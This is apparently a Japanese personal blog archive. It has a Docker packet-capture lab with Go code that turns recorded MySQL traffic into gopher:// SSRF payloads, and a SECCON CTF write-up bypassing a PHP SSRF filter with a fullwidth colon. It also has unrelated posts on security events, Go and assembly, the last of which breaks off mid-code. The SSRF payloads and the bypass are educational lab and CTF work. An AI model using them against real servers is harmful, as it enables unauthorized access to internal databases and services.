docker間通信をtcpdumpしてpcapをいじる

IPFactory Advent Calendar 2019 14日目の予定だったが繰り上げて6日目(に代打投稿).

IPFactory 3年 azaraです

自分で意図して作ったパケットを見たいのとCTF Writeupで見た攻撃手法で面白そうだったGopherプロトコルMySQL叩いてみると言うのを試してみたかったのでこの機にやってみる。

前提情報

名称 バージョン
macOS Catalina 10.15.1
Docker version 19.03.5, build 633a0ea
Go Docker golang:latest

目次

いろんな通信を眺める

準備

まずはdocker-compose,client/Dockefile,app/Dockefileを書いていく。各個人でgolangの入ったappclientを用意してもらって、MySQLを用意してもらえればいいです。

僕が使ったのはこちら

File構造

.
├── app
│   ├── Dockerfile
│   └── src
├── cap
├── client
│   ├── Dockerfile
│   └── src
├── db
└── docker-compose.yml

docker networkの作成
dockerのIP固定のためにDockerNetworkを作成

docker network create \
--subnet 192.168.208.0/24 \
--gateway 192.168.208.254 \
docker-pcap

docker-compose.yml

version: "3"
services:

  db:
    image: mysql:5.7
    container_name: mysqlhost
    networks:
      docker-pcap:
        ipv4_address: 192.168.208.2
    environment:
      MYSQL_ROOT_PASSWORD: root
      MYSQL_DATABASE: test_database
      MYSQL_USER: docker
      MYSQL_PASSWORD: docker
      TZ: "Asia/Tokyo"
    command: mysqld --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
    volumes:
      - ./docker/db/data:/var/lib/mysql
      - ./docker/db/my.cnf:/etc/mysql/conf.d/my.cnf
      - ./docker/db/sql:/docker-entrypoint-initdb.d
    ports:
      - 3306:3306
      
  client:
    restart: always
    container_name: "client"
    build: ./client
    tty: true
    networks:
      docker-pcap:
        ipv4_address: 192.168.208.3
    command: tcpdump -i eth0 -X -s 0 -w /tmp/cap/client.pcap
    links:
      - db:mysqlhost
    volumes:
      - ./cap/:/tmp/cap
      
  app:
    restart: always
    build: ./app
    container_name: "app"
    working_dir: "/root/"
    ports:
      - 80:80
    tty: true
    networks:
      docker-pcap:
        ipv4_address: 192.168.208.4
    command: tcpdump -i eth0 -X -s 0 -w /tmp/cap/app.pcap
    volumes:
      - ./cap/:/tmp/cap
      
networks:
  docker-pcap:
    external:
      name: docker-pcap

client/Dockerfile

FROM golang:latest

RUN apt update
RUN apt -y install locales && \
    localedef -f UTF-8 -i ja_JP ja_JP.UTF-8
ENV LANG ja_JP.UTF-8
ENV LANGUAGE ja_JP:ja
ENV LC_ALL ja_JP.UTF-8
ENV TZ JST-9
ENV TERM xterm

RUN apt install -y nmap curl git wget tcpdump ltrace strace
COPY ./src /go/src/app
WORKDIR /go/src/app
RUN go get github.com/go-sql-driver/mysql
RUN go build .

app/Dockerfile

FROM golang:latest

RUN apt-get update
RUN apt-get -y install locales && \
    localedef -f UTF-8 -i ja_JP ja_JP.UTF-8
ENV LANG ja_JP.UTF-8
ENV LANGUAGE ja_JP:ja
ENV LC_ALL ja_JP.UTF-8
ENV TZ JST-9
ENV TERM xterm

RUN apt update -y && apt upgrade -y && apt install -y tcpdump
COPY ./src /go/src/app
WORKDIR /go/src/app

Pingを眺める

ここまできたらdocker-compose up -dappclientを実行して疎通確認をしていく。

各IPの対応表

name IP
mysqlhost(db) 192.168.208.2
client 192.168.208.3
app 192.168.208.4
❯ docker-compose exec client ping 192.168.208.4 -c 5
PING 192.168.208.4 (192.168.208.4) 56(84) bytes of data.
64 bytes from 192.168.208.4: icmp_seq=1 ttl=64 time=0.259 ms
64 bytes from 192.168.208.4: icmp_seq=2 ttl=64 time=0.118 ms
64 bytes from 192.168.208.4: icmp_seq=3 ttl=64 time=0.141 ms
64 bytes from 192.168.208.4: icmp_seq=4 ttl=64 time=0.121 ms
64 bytes from 192.168.208.4: icmp_seq=5 ttl=64 time=0.119 ms

--- 192.168.208.4 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4162ms
rtt min/avg/max/mdev = 0.118/0.151/0.259/0.056 ms

疎通の確認ができたので、docker-compose stopでサーバーを止めキャプチャ結果を見てみよう。

赤枠で囲った箇所が今回送ったpingの範囲。

普段疎通確認程度でしかpingを送っていなかったが詳しく見てみるとdataが送れるようだったので試しに送ってみようと思う。

pin data

ここでキャプチャしたpcapは(app|client)_ping.pcapとして保存しておく。

実際に送ってみた

#ひとまず適当な値をpad-byte(-p)に詰め込む
❯ docker-compose exec client ping 192.168.208.4 -c 5 -p ff61ff62ff63ff65
PATTERN: 0xff61ff62ff63ff65
PING 192.168.208.4 (192.168.208.4) 56(84) bytes of data.
64 bytes from 192.168.208.4: icmp_seq=1 ttl=64 time=0.174 ms
64 bytes from 192.168.208.4: icmp_seq=2 ttl=64 time=0.127 ms
64 bytes from 192.168.208.4: icmp_seq=3 ttl=64 time=0.144 ms
64 bytes from 192.168.208.4: icmp_seq=4 ttl=64 time=0.155 ms
64 bytes from 192.168.208.4: icmp_seq=5 ttl=64 time=0.141 ms

--- 192.168.208.4 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4151ms
rtt min/avg/max/mdev = 0.127/0.148/0.174/0.017 ms

するとデータには次のような結果が出てくる

48bytesになるまでパターンとして詰められたff61ff62ff63ff65が確認できる。

次にpacketsizeを大きくしてみたらどうなるのか?と思い投げつけてみる。

❯ docker-compose exec client ping 192.168.208.4 -c 1 -s 65467        
PING 192.168.208.4 (192.168.208.4) 65467(65495) bytes of data.
65475 bytes from 192.168.208.4: icmp_seq=1 ttl=64 time=2.82 ms

--- 192.168.208.4 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.826/2.826/2.826/0.000 ms

IPv4を1514bytes(内dataは1480bytes)を連続して送りICMP(echo request)を途中で送り、最後にICMP(echo reply)を返している。

pcap file

IPv4で送信されたdata(一部抜粋)

データ送信関係はひとまずこのくらいにしてdocker-compose stop && docker-compose rmを実行してコンテナを消しておく。

Nmapのスキャンを眺める

次はNmapを実行してどのような動きをしているかみていこう。

はじめに一つのポートをスキャンしてみる。

❯ dcexec client nmap -p 80 192.168.208.4       

Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC
Nmap scan report for app.docker-pcap (192.168.208.4)
Host is up (0.00016s latency).
PORT   STATE  SERVICE
80/tcp closed http
MAC Address: 02:42:C0:A8:D0:04 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds

ポートが単体の場合はARPを流して、二度80番ポートにスキャンをかけている。なぜ二度ポートスキャンをしているのか、検証は後日にする。

それでは80と443をスキャンした場合どうなるのか?

❯ dcexec client nmap -p 80,443 192.168.208.4           

Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC
Nmap scan report for app.docker-pcap (192.168.208.4)
Host is up (0.00014s latency).
PORT    STATE  SERVICE
80/tcp  closed http
443/tcp closed https
MAC Address: 02:42:C0:A8:D0:04 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds

2つの場合は一つ一つのポートに流し込んでいる。

ここで取得したpcapは(app|client)_nmap80,443.pcap

次に1-10の10個のポートに対してスキャンをしていく。

❯ dcexec client nmap -p 1-10 192.168.208.4         

Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC
Nmap scan report for app.docker-pcap (192.168.208.4)
Host is up (0.000085s latency).
PORT   STATE  SERVICE
1/tcp  closed tcpmux
2/tcp  closed compressnet
3/tcp  closed compressnet
4/tcp  closed unknown
5/tcp  closed rje
6/tcp  closed unknown
7/tcp  closed echo
8/tcp  closed unknown
9/tcp  closed discard
10/tcp closed unknown
MAC Address: 02:42:C0:A8:D0:04 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds

不規則な順序でポートスキャンをしている。

不規則な順序にしない場合は-rをつけることで解決される。

❯ dcexec client nmap -r -p 1-10 192.168.208.4      

~~略~~

Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds

次に-Aをつけて検査をする。

❯ dcexec client nmap -A  192.168.208.4             

Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC
Nmap scan report for app.docker-pcap (192.168.208.4)
Host is up (0.00013s latency).
All 1000 scanned ports on app.docker-pcap (192.168.208.4) are closed
MAC Address: 02:42:C0:A8:D0:04 (Unknown)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms app.docker-pcap (192.168.208.4)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.29 seconds

はじめは通常のスキャンのようにランダムにポートをスキャンする。

ポートスキャン終了後に1番に対して何度かtcp通信の再送タイムアウト(TCP Retransmission)や重複したACK(TCP Dup ACK)が帰ってきている。

MySQLとのやりとりを眺める

続いてMySQLのやりとりをみていく。

client/src/main.go

package main

import (
    "database/sql"
    "log"
    _ "github.com/go-sql-driver/mysql"
)

var (
    dbms       = "mysql"
    credential = "docker:docker"
    testuser   = "test_user"
    access     = "tcp(db:3306)"
    dbname     = "test_database"
)

func main() {
    mysqlaccess := fmt.Sprintf("%v@%v/%v", credential, access, dbname)
    db, err := sql.Open(dbms, mysqlaccess)
    if err != nil {
        panic(err)
    }
    err = db.Ping()
    if err != nil {
        panic(err)
    }
    defer db.Close()
}

軽くgoで接続用のコードを書いて通信を見ていく。

docker-compose build 
docker-compose up -d
docker-compose exec client ./app 
docker-compose stop
docker-compose rm 

[y]

先ほど書いたコードの中で、Serverに挨拶 -> login -> db ping -> quitという一連の流れをしている。

3way hand shake

server greeting

MySQLプロトコルは、はじめに次のような挨拶を交わします。

今回の場合は、認証方式はmysql_native_passwordで各種saltなどをclientに送り通信を始めます。

Login Request

パスワードは先ほど受け取ったsaltを用いたハッシュを送信する。

コード内部でdbnameを指定しているので、今回はSchemaに名前が入っている。

Response Ok & Ping & Quit

Request OK

検証しそのユーザーが正しい場合はこのメッセージを返す。

Ping

Quit

このMySQLプロトコルにのっとってコマンドやMySQLの操作をする。

client/src/main.go

    // ~~前略~~
    if err != nil {
        panic(err)
    }
    err = db.Ping()
    if err != nil {
        panic(err)
    }
    _, err = db.Query("select @@version_comment limit 1")
    if err != nil {
        panic(err)
    }
    defer db.Close()
}

Query

Response

ここで取得したpcapをclient_mysql.pcapとして保存しておく

GoでGopherプロトコルを流すコードを書く

使うライブラリは https://github.com/google/gopacket

まずは手始めにMySQLの通信をGopher schemaに変換するコードを書く。

Gopher schemaで通信を行う場合gopher://host:port/_tcp stream(%Encoding)になるのでこの形式に整形しなければいけない。

例: MySQLのクライアント側のTCPストリーム

コードにするとこんな感じ

src/main.go

package main

import (
    "fmt"
    "strings"

    "github.com/google/gopacket/layers"

    "github.com/google/gopacket"
    "github.com/google/gopacket/pcap"
)

var (
    pcapfile  = "../cap/client_mysql.pcap"
    mysqlhost = "192.168.208.2"
    client    = "192.168.208.3"
)

func main() {
    pcaphandle, err := pcap.OpenOffline(pcapfile)
    if err != nil {
        panic(err)
    }
    defer pcaphandle.Close()
    packetSource := gopacket.NewPacketSource(pcaphandle, pcaphandle.LinkType())
    //displayPacket(packetSource)
    convGopher(packetSource)
}

func convGopher(packetSource *gopacket.PacketSource) {
    var gopherpayload map[string]string
    gopherpayload = map[string]string{client: "", mysqlhost: ""}
    for packet := range packetSource.Packets() {
        ipv4l := packet.Layer(layers.LayerTypeIPv4)
        tl := packet.Layer(layers.LayerTypeTCP)
        ipv4, _ := ipv4l.(*layers.IPv4)
        if tl == nil || packet.ApplicationLayer() == nil {
            continue
        }
        tcp, _ := tl.(*layers.TCP)
        if tcp.FIN {
            break
        }
        if (client == ipv4.SrcIP.String() && mysqlhost == ipv4.DstIP.String()) || (mysqlhost == ipv4.SrcIP.String() && client == ipv4.DstIP.String()) {
            gopherpayload[ipv4.SrcIP.String()] += stringRawData(packet.ApplicationLayer().Payload(), "%", "")
        }
    }
    fmt.Printf("Gopher : \ngopher://%v:3306/_%v\n", mysqlhost, gopherpayload[client])
}

func stringRawData(payload []byte, hexTop, joinString string) (raw string) {
    var hexs = make([]string, len(payload))
    for i, v := range payload {
        hexs[i] = fmt.Sprintf("%s%02x", hexTop, v)
    }
    raw = strings.Join(hexs, joinString)
    return raw
}

この状態で接続自体が可能かを確かめてみる。

pwd     
/<file path>/docker-lab/src

❯ go run .
Gopher : 
gopher://192.168.208.2:3306/_%60%00%00%01%8d%a2%0a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%64%6f%63%6b%65%72%00%14%90%b0%54%24%db%5c%f1%d7%44%6e%bf%ca%7f%4e%cc%7b%06%2a%8c%3c%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31

❯ docker-compose build && docker-compose up -d                               
~~ 中略~~
Successfully built 50d1b4d43281
Successfully tagged docker-ssrf_app:latest
mysqlhost is up-to-date
app is up-to-date
client is up-to-date

❯ docker-compose exec client curl gopher://192.168.208.2:3306/_%60%00%00%01%8d%a2%0
a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
00%00%64%6f%63%6b%65%72%00%14%90%b0%54%24%db%5c%f1%d7%44%6e%bf%ca%7f%4e%cc%7b%06%2a
%8c%3c%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%6
5%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31
J
5.7.28dEX 5~|�����*[{g8+ubHmysql_native_passwordN�#28000Access denied for user 'docker'@'192.168.208.3' (using password: YES)

今回の場合MySQLにパスワードがかかっているので、パスワード認証プロセスが挟まれる。

MySQLのパスワード認証プロセスは次のような形となる。

  1. サーバーに挨拶
    • チャレンジレスポンスのためのソルトを送信
  2. クライアントはそのソルトとパスワードを元にレスポンスを生成
  3. レスポンスを送信後からDBの操作が可能となる

この場合MySQLを非対話形式で叩いてもMySQLは動作しません。

次にパスワードなしでやってみる。

client/src/main.go

//~~~前略~~~ 20行目
mysqlaccess := fmt.Sprintf("%v@%v/%v", testuser, access, dbname)
//~~~中略~~~ 31行目から quitコマンド送信のため
rows, err := db.Query("select @@version_comment limit 1")
if err != nil {
    panic(err)
}
err = rows.Close()
if err != nil {
    panic(err)
}
//~~~後略~~~

実行

docker-compose build
docker-compose up -d
docker-compose exec db mysql -r -e "create user 'test_user'@'192.168.208.3';grant all on *.* to 'test_user'@'192.168.208.3';" test_database
docker-compose exec client ./app
docker-compose stop
docker-compose rm

[y]

次のこのpcapを元にgopherを生成する。

❯ go run .
Gopher :
gopher://192.168.208.2:3306/_%4f%00%00%01%8d%a2%0a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%01%00%00%00%01

その後実行をすると次のように表示される。

>
docker-compose build
docker-compose up -d
docker-compose exec client curl gopher://192.168.208.2:3306/_%4f%00%00%01%8d%a2%0a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%01%00%00%00%01

J
5.7.28~Sx.
n?m�����X06Qu;c<5mysql_native_password'def@@version_comment
                                                           -p��MySQL Community Server (GPL)�
                                                    
                                                    
                                                    
>
docker-compose stop
docker-compose rm
[y]

dumpしたpcapを確認すると実際にMySQLプロトコルで通信をしていることがわかる。

以上!


参考
Docker doc
TCP Error
gopacketでpcapを読み込む
gopacket
SSRF攻击MySQL

SECCON CTF quals 2019に参加した

お前は何日まえの日記を書いているんだ?と言われそうだが一応足跡がわりに書き残しておこうと思って投稿します。

簡単な感想と役割

 ここ最近新しいチームに入って「CTFタノシイ」みたいな感じになってきたし、SECCONに出てみた。

 チーム内での役割はWeb問題をとく人だった。昨年出場した際は別のチームで何一問も解けず、時間とただただ溶かし人権がない状態になり最終的には誰もお前を愛さない状態になってしまっていたので、「今年もそうなるんかなー?」みたいなお気持ちでした。

 結果として一問解けたし、楽しい問題をプレイできたので満足しています。 f:id:oukasakura3:20191023200557p:plain

WriteUp

Option-Cmd-U

問題文

No more "View Page Source"!

http://ocu.chal.seccon.jp:10000/index.php

ほーん、便利やん。と言う感想から問題を解き始めた。

解法

該当ページにアクセスするとこんな感じにフォームがあったf:id:oukasakura3:20191023201712p:plain

URLを入れると"Option-Cmd-U"のようにHTMLを表示してくれるのだろうと思い入力。

するとこのようなコメントが見えるではないか。

<pre>
<!-- src of this PHP script: /index.php?action=source -->
<!-- the flag is in /flag.php, which permits access only from internal network :-) -->
<!-- this service is running on php-fpm and nginx. see /docker-compose.yml -->
</pre>

嬉しいことにソースコードが表示できるようなので表示してみる。

<?php
  if (isset($_GET['url'])){
        $url = filter_input(INPUT_GET, 'url');
        $parsed_url = parse_url($url);                        
        if($parsed_url["scheme"] !== "http"){
            // only http: should be allowed. 
            echo 'URL should start with http!';
        } else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) {
            // local access to nginx from php-fpm should be blocked.
            echo 'Oops, are you a robot or an attacker?';
        } else {
            // file_get_contents needs idn_to_ascii(): https://stackoverflow.com/questions/40663425/
            highlight_string(file_get_contents(idn_to_ascii($url, 0, INTL_IDNA_VARIANT_UTS46),
                             false,
                             stream_context_create(array(
                             'http' => array(
                                 'follow_location' => false,
                                 'timeout' => 2
                             )
                         ))));
        }
    }
                    ?>

事前に得たコメントアウトからの情報(permits access only from internal network)とコードを見た感じ、Flag入手の方法はhttp://[nginx hostname]:xxxx/flag.phpとなりそうなので、/docker-compose.ymlを見てdocker-compose内でのhostを確認するのが一番手っ取り早そう。

と私の頭の中ではならなかった。

確かに/docker-compose.ymlは見た。そこで私は何個のコンテナが動いているのか確認して終わってしまった。

私が次にとった行動が、/flag.phpへのアクセスだ。 アクセスをすると次のように自分のIPが表示される。

Forbidden.Your IP: xxx.xxx.xx.x

なのでひとまず先ほどのフォームにぶち込んでコンテナのIPを取得

Forbidden.Your IP: 172.25.0.1

取得後、このIPが実際にこのコンテナのものなのか確認するためにhttp://172.25.0.1:10000/flag.phpを入力し、このコンテナのIPであることを確証する。

docker-composeで動いているコンテナ数が2個だったので+-2くらいでNginxのIPにたどり着くと思いアドレスを加算、http://172.25.0.3:10000/flag.phpにアクセスした際に Oops, are you a robot or an attacker?が表示されたので、このIPがNginxのIPであると確信する。

次にif (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) {の突破をしなくてはならない。このif文内できになるのはidn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)の部分

if (isset($_GET['url'])){
        $url = filter_input(INPUT_GET, 'url');
        $parsed_url = parse_url($url);                 
~~~中略~~~~
        } else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) {
            // local access to nginx from php-fpm should be blocked.
            echo 'Oops, are you a robot or an attacker?';
        } else {
~~~後略~~~

この$parsed_urlはidn_to_asciiを通す前にパースする前にidn_to_asciiを通しているので、Unicodeの互換文字を利用すれば突破できそう(今年度のBlackHatで発表されたHostSplit: Exploitable Antipatterns in Unicode Normalization を参考に)。

どこを修正すると綺麗に分割できそうかなと考えた結果:の全角文字だと行けることがわかりhttp://172.25.0.3:80/flag.phpをsubmitして

SECCON{what_a_easy_bypass_314208thg0n423g}

Flagゲット!

キャンプに行った ~ セキュリティ・キャンプ全国大会 2019 チューター参加記 ~

  

f:id:oukasakura3:20190818171119j:plain
セキュリティ・キャンプ
 今年度もセキュリティキャンプ全国大会に参加してきたのでブログを書きたいと思ういます。

 今年度は昨年とは異なりチューター*1として参加して感じたことと、どのような意識の変化があったかを書ければいいなと思います。


*1 : 講義・運営のサポートや参加者のフォロー、そして成果報告プレゼンテーション(LT)などをしてキャンプを支える業務

チューターの日程

Day 内容
8/12(月) 事前準備
8/13(火) オリエンテーション/グループワークサポート/LT大会
8/14(水) 必須講義/ホームルーム
8/15(木) 選択講義/会員企業のお仕事紹介/グループワークサポート
8/16(金) 選択講義/会員企業のお仕事紹介/グループワークサポート
8/17(土) 集合写真/成果報告/閉会式への参加

チューターと受講生は何が違うの?

 受講生というのは、国や企業からの支援のもと名だたる講師の方々から講義を聞き技術を学べるという、技術を学ぶ学生として圧倒的に飛躍させてくれるめちゃくちゃいい制度で大きな責任というものは追わない、強いて言うなら今回来れなかった他の応募者の分までしっかり学ぶことが最大の責任なので実質責任はゼロなのではないでしょうか。

 チューターと言うのは、セキュリティキャンプ協議会との間でチューター業として委託する形態を取っており、"仕事"として扱われます。業務の内容としては受講者の健康管理や講義のサポート、受講者間でのコミュニケーション円滑化のためのサポートなど、セキュリティキャンプ全国大会全体の円滑な運営をサポートするのが大きな役割です。

 大きな違いといえば、やはり責任が付いて回ると言うことでしょう(と言っても講師の方や協議会の運営の方々とは比にならないほど小さなものではありますが)。

チューターの良いところ

講師・プロデューサーとより近くで話せる

 夜遅くに講師の方にお話を聞く機会をいただいたり、少し交流のある(僕の場合は交流のある人にひっついて)講師のお部屋に「突撃隣の晩御飯」をしに行くことができるなど、かなり充実した時間をいただけました。(多くは語らないのでぜひ来年度のチューターに応募しましょう!)

刺激がいっぱい

 先の"講師・プロデューサーとより近くで話せる"と言うのもかなりの刺激なのですが、チューター間での交流や受講者との話の中で技術的な刺激を多く受けることができます。

 特に集中開発の人たちには昨年に引き続き、すごく良い刺激をいただきました。私も負けてられない....!

最後に

 チューターになると必ずLTをやることになるので、チューターを目指すみなさんは来年まで気を抜かずに何かチャレンジをしておくといいと思います!

以上!

おまけ

LTで話した資料

※外部公開版なので一部スライドを削除しております

SecHack365にいきました ~ 神奈川編 ~

どうもazaraです。5/16(金) ~ 5/18(日)にSecHack365第1回の集合があったので、それについて書いていきたいと思います。 目次

SecHackとは?

国立研究開発法人情報通信研究機構(NICT)が実施する人材育成プログラムの一種で、下記の引用文のような内容を行い、1年間を通じ物作りをしていくものになります。

25 歳以下の学生や社会人から公募選抜する 40 名程度の受講者を対象に、サイバーセキュリティに関するソフトウェア開発や研究、実験、発表を一年間継続してモノづくりをする機会を提供する長期ハッカソンです。全国の一流研究者・技術者や受講者等との交流をするなかで、自ら手を動かし、セキュリティに関わるモノづくりができる人材 (セキュリティイノベーター) を育てます。

詳しい内容はこちらから sechack365.nict.go.jp

f:id:oukasakura3:20190520003628j:plain
SecHack365に行ってきた

第1回集合までの諸情報

参加コースと題材

 自分が参加したコースは開発駆動コースの仲山ゼミで、開発の題材は「DevSecOpsのdeploy段階に組み入れやすい脆弱性診断ソフトウェアの開発」を題材に開発を進めていこうと思っています。

SecHack365に参加すると決めるまでの経緯

 参加の経緯として、自分の所属するサークルの先輩が昨年参加をしており、その話を聞いていて「開発もできてアウトプットもできて、温泉も入れるなんでなんて素晴らしいイベントなんだ!」とおもい参加をしようと思い立ちました。

 ただ、その時点では思い立っただけでどんなコースがあるのか、自分が何を開発していきたいのかも定まっていなかったので若干焦り気味ではありました。なんとかまとまるもので締め切り3日前までに作りたいソフトウェアの大まかな構成なども書き出し添付資料として提出することができました。

思い立ったら吉日

 思い立ったら吉日と言わんばかりに、合否の連絡が来る前であるにも関わらず、前提知識の収集や実装可能であれば神奈川集合までにコツコツとコードを書いていこうと考えて、時間があったらコードを書いてコミットをする生活をしていました。

f:id:oukasakura3:20190519234952p:plain
草を生やす

第1回神奈川回

開始前にお昼を食べなければならなかったので近くのカフェでピザを食す

 1日目はオリエンテーションやセキュリティイノベーターになるヒントや道筋を定めるための考え方(アイデア脳になる方法)やマンダラートの手法について話を聞きました。

 夜にはトレーナーさんを囲みトレーナーさんの得意な分野や考え方などについてお話を聞きました。1日目ということもあり緊張感からトレーナーさんに質問ができなかったのが悔やまれます。

 2日目は主にサイバーセキュリティに関する脅威を想定したアイデアソンを行いました。自分自身初めてのアイデアソンということもあり、新鮮な気持ちで挑むことができました。このアイデアソン自体、初めて対面で会ったチームメンバーと物事を考え、話をまとめなければならなかったので初めはうまくいくのかと心配ではありました。しかし同じ班のメンバーが話をまとめてくれたり修正してくれたりと互いに助け合いながら発表ができたので、よかったなと思っています。この場を借りてIチームだったメンバーに感謝の意を示したいと思います。

 また個人的な反省点として、出てきたアイデアの中にあった基礎的な技術知識がなくうまくいかなかったので、もっと短時間で情報の収集ができるように努力していきたいと思いました。

 2日目の夜と3日目はコースワークということで、自己紹介と自分の作りたいものの説明、進捗と今後の目標を発表しました。メンバー全員がある程度のプロトタイプのようなものや概念実証をした上で集まっていたので、正直驚き半分、尊敬半分であっけにとられていました。  

所感

 これからおおよそ8ヶ月の期間で自分の実装したいものが完成するのかどうかはまだわかりませんが、形として見せられるレベルまでに持っていけたらと思っています。

 まずは楽しくHackすることを目標に日々を頑張っていきます!

Goに慣れたいのでWebアプリケーションを作る - 01: Go言語によるWebアプリケーション開発 Web Chat編 -

書き出し

Goを学んだのに今の今までGoを使わずに生活していたので、何かしら作ってみてGoに慣れようと思った。

参考にした書籍

Go言語によるWebアプリケーション開発

www.oreilly.co.jp

感想

第3章までやって

今回は書籍の3章までをを参考にしてWebアプリ作成のチュートリアルがわりに、簡単なChatアプリを作成しました。 実際に作成して思ったことを下記に書きます。

作成時に思ったこと

  • PHPに比べ、Goはコードの量が少し多くなってしまうな
  • testが書きやすい
  • net/httpが万能すぎる
  • オブジェクト指向ではないが構造体とメソッドが便利
  • 非同期がデフォルトで利用できるのは最強なのでは

個人的に思ったこととして、Go+標準ライブラリ+少しのOSSフレームワークのような使い方ができるのが自分の中ですごいなと思ったポイントでした。また、Go自体が書きやすく、書いていて楽しくなっていくのでもっと触れて、慣れていきたいと思います。

第4章以降に向けて

ただ本を写すのではなく、せっかくgo testがあるのでうまく組み合わせながらより積極的なテスト開発の練習を行なっていきたいなと思った次第。

GitHub

github.com

アセンブリ言語について少し学ぶ

書き出し

アセンブリ言語について少し学ぶ。 メモ程度のもの。

本文

コマンド

# nasmは Netwide Assemblerの略称
nasm -f<format> <in> -o <out>
#optin
#-f : format
# リンク用のGNUコマンド
ld -o <out> <in>

メモ

hello.asm

global _start

section .data
message:db 'hello, world!',10

section .text
_start:
    mov rax, 1
    mov rdi, 1
    mov rsi, message
    mov rdx, 15
    syscall
    mov rax, 60
    xor rdi, rdi
    syscall

この場合、.data(global 変数)db(data byte)の変数mesageを配置している。 また命令セクションである.textに_start命令を配置し、syscallの呼び出し準備を行う。

syscall呼び出し時のレジスタ内部

今回自分の中で確認するために、はじめのwriteのコール時のシステムコールを元に解釈していく。

レジスタ 意味 内容
rax 1 system call system call number
rdi 1 第一引数 discription(書き込み先)
rsi message 第二引数 文字列の先頭アドレス
rdx 14 第三引数 書き込むバイト数

C言語で表すとこのような表示になる。

#include <unistd.h>
ssize_t write(int fd , const void * buf , size_t count );

syscall実行時にraxからwriteが実行され、引数として先頭からrdi,rsi,rdxが配置される。

変数の定義

表記 意味
db data byte|1byte
dw data word|2byte
dd data double word|4byte
dq data quad word|8byte

section .data
example1:db 1, 1, 2, 3, 5, 7
example2:times 999 db 1
example3:dw 999

times はn回文cmdを繰り返すことを意味する。

変数(data)は、どのセクションの内側でも作ることができる。 CPUから見ればデータも一つの命令となるので解釈される。

ニーモニック

実際にelfファイルにし、確認してみようと思う。

次のような内容になっており。しっかりと.data.textにセクションが割り当てられていることがわかる。

$ objdump -D hello
hello:     ファイル形式 elf64-x86-64


セクション .text の逆アセンブル:

00000000004000b0 <_start>:
  4000b0:       b8 01 00 00 00          mov    $0x1,%eax
  4000b5:       bf 01 00 00 00          mov    $0x1,%edi
  4000ba:       48 be d8 00 60 00 00    movabs $0x6000d8,%rsi
  4000c1:       00 00 00
  4000c4:       ba 0f 00 00 00          mov    $0xf,%edx
  4000c9:       0f 05                   syscall
  4000cb:       b8 3c 00 00 00          mov    $0x3c,%eax
  4000d0:       48 31 ff                xor    %rdi,%rdi
  4000d3:       0f 05                   syscall

セクション .data の逆アセンブル:

00000000006000d8 <message>:
  6000d8:       68 65 6c 6c 6f          pushq  $0x6f6c6c65
  6000dd:       2c 20                   sub    $0x20,%al
  6000df:       77 6f                   ja     600150 <_end+0x68>
  6000e1:       72 6c                   jb     60014f <_end+0x67>
  6000e3:       64 21 0a                and    %ecx,%fs:(%rdx)

局所ラベルの利用とレジスタの出力

section .data
codes:
    db '0123456789ABCDEF'

section .text
global _start
_start:
    mov rax, 0x1122334455667788
    mov rdi, 1
    mov rdx, 1
    mov rcx, 64
    jmp .loop
    ;このstartで、rax内に値が存在する状況を生成。

.loop:
    ; 16文字の出力を行うためにこのloopで出力を行う。
